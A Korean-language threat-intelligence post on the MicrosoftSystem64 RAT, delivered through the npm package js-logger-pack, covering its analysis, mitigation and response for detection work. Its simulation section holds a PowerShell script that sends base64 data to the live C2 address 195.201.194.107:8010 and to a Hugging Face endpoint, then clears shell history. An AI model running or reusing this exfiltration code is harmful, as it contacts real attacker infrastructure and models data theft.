SOC Prime Bias: 심각

03 Jun 2026 16:32 UTC

MicrosoftSystem64: Hugging Face로 데이터를 탈취하는 공급망 RAT

Author Photo
SOC Prime Team linkedin icon 팔로우
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

요약

악성 npm 패키지로 명명된 js-logger-pack 가 MicrosoftSystem64라는 교차 플랫폼 Node.js 단일 실행 파일 응용 프로그램을 배포하기 위해 사용되었습니다. 이 바이너리는 암호화폐 지갑 확장 프로그램, 브라우저에 저장된 자격 증명, SSH 키, 텔레그램 세션 데이터 및 스크린샷을 훔칠 수 있는 전체 기능의 원격 액세스 트로이 목마로 작동합니다. 도난당한 정보는 손상된 API 토큰을 사용하여 개인 Hugging Face 데이터셋을 통해 탈취되며, 명령 및 제어 트래픽은 WebSocket 서버를 통해 195.201.194.107:8010에서 처리됩니다. 이 캠페인은 접근을 유지하고 운영을 지속하기 위해 npm 및 Hugging Face 계정을 순환시키는 북한과 연결된 위협 행위자와 연관되어 있습니다.

조사

SafeDep는 악성코드 샘플을 분석하고 XOR로 암호화된 설정, 명령 및 제어 엔드포인트, Hugging Face 토큰과 80개 이상의 대상 지갑 확장 ID 목록을 추출했습니다. 또한 연구원들은 Windows, macOS 및 Linux 시스템에서 사용된 지속성 방법을 검토했으며, Hugging Face API를 포함하는 전체 데이터 탈취 체인을 재구성했습니다. 5월 28일 실시간 검증에서는 활성 데이터셋이 여전히 실제 피해자로부터 스크린샷과 자격 증명 아카이브를 수신하고 있는 것이 확인되었습니다.

완화

조직은 이 캠페인과 관련된 악성 npm 패키지를 즉시 제거하고, 손상된 자격 증명, SSH 키 및 암호화폐 월렛 시드를 교체하며, 승인되지 않은 Hugging Face API 활동을 모니터링해야 합니다. 엔드포인트 보호는 MicrosoftSystem64 프로세스 이름과 관련된 모든 예약 작업 생성을 감지해야 합니다. 네트워크 제어는 또한 식별된 명령 및 제어 IP 주소로의 아웃바운드 트래픽을 차단하고 알 수 없는 바이너리로부터 Hugging Face 엔드포인트에 대한 예기치 않은 접근을 제한해야 합니다.

응답

MicrosoftSystem64가 감지되면 즉시 영향을 받은 시스템을 격리하고, 악성 프로세스를 종료하며, 설치된 파일과 예약 작업을 제거하고, 손상된 Hugging Face 토큰을 철회하십시오. 조사자는 로그와 탈취된 데이터 경로에서 법의학적 증거를 수집한 다음 관련 이해관계자에게 통지하고, 향후 빌드에서 악성 패키지를 차단하기 위해 종속성 스캔 도구를 업데이트해야 합니다.

공격 흐름

시뮬레이션 실행

필수조건: Telemetry & Baseline Pre-flight Check가 통과해야 합니다.

논리적 이유: 이 섹션은 탐지 규칙을 트리거하기 위한 공격자 기술(전술, 기술 및 절차)의 정확한 실행을 자세히 설명합니다. 명령어와 설명은 반드시 식별된 전술, 기술 및 절차를 직접 반영해야 하며 탐지 논리에서 기대되는 정밀한 원격 측정을 생성해야 합니다.

  • 공격 서사 및 명령:
    공격자는 이미 감염된 Windows 호스트에 “Microsoft System64 RAT”를 설치했습니다. 도난당한 데이터를 탈취하기 위해 RAT는 두 가지 동시 작업을 수행합니다:

    1. C2 채널: 하드코딩된 악성 서버로 원시 TCP 소켓을 엽니다 195.201.194.107 포트 8010 에서 base-64 인코딩된 데이터를 스트리밍합니다.
    2. 은밀한 HTTP 탈취: HTTPS POSThttps://huggingface.co/api/upload 에 대해 보낸 후, 정규 트래픽과 혼합하도록 정상적인 사용자 에이전트를 사용하여 요청 본문에 데이터를 포함합니다.

    두 가지 작업 모두 Sigma 규칙과 일치하는 아웃바운드 방화벽 이벤트를 생성합니다.

  • 회귀 테스트 스크립트:

    # -------------------------------------------------
    # System64 RAT 탈취 시뮬레이션 (PowerShell)
    # -------------------------------------------------
    # 1. 더미 탈취 데이터 준비
    $data = "SecretData$(Get-Date -Format o)" | ConvertTo-Json
    $b64   = [Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes($data))
    
    # 2. 원시 TCP를 통해 데이터 전송 (C2)
    $c2Ip   = "195.201.194.107"
    $c2Port = 8010
    try {
        $tcpClient = New-Object System.Net.Sockets.TcpClient($c2Ip, $c2Port)
        $stream    = $tcpClient.GetStream()
        $bytes     = [Text.Encoding]::UTF8.GetBytes($b64)
        $stream.Write($bytes, 0, $bytes.Length)
        $stream.Close()
        $tcpClient.Close()
        Write-Host "[+] TCP 탈취를 $c2Ip:$c2Port로 전송했습니다."
    } catch {
        Write-Error "[-] TCP 연결 실패: $_"
    }
    
    # 3. HuggingFace에 대한 HTTPS를 통해 데이터 전송 (은밀한 탈취)
    $uri = "https://huggingface.co/api/upload"
    try {
        Invoke-WebRequest -Uri $uri `
            -Method POST `
            -Body @{ data = $b64 } `
            -Headers @{ "User-Agent" = "Mozilla/5.0 (Windows NT 10.0; Win64; x64)" } `
            -UseBasicParsing
        Write-Host "[+] huggingface.co로 HTTP 탈취 전송했습니다."
    } catch {
        Write-Error "[-] HTTP 요청 실패: $_"
    }
  • 정리 명령:

    # 남아있는 네트워크 아티팩트 제거
    Get-NetTCPConnection -RemoteAddress 195.201.194.107 -RemotePort 8010 |
        ForEach-Object { Stop-Process -Id $_.OwningProcess -Force }
    
    # PowerShell 히스토리 지우기 (선택 사항)
    Clear-History